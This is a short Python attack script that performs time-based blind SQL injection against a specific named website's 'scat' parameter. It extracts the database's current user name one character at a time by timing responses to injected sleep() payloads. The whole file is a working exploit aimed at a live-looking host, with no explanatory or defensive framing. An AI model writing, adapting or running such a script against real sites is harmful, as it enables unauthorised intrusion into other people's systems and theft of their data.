#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.%'

user=''
print('Start to retrive current user:')
for i in range(1,23):
	for payload in payloads:
		try:
			url = "http://www.9kb.org/com_hk_list.htm?scat=if(now()=sysdate(),sleep(0),0)/*'XOR(if(ascii(substring(user()," + str(i) + ",1))=" + str(ord(payload)) + ",sleep(2),0))OR'\"XOR(if(now()=sysdate(),sleep(0),0))OR\"*/"
			response=requests.get(url, timeout=10)
		except requests.exceptions.ReadTimeout:
			user += payload
			print('user is:', user)
			break
print('\n[Done] current user is %s' % user)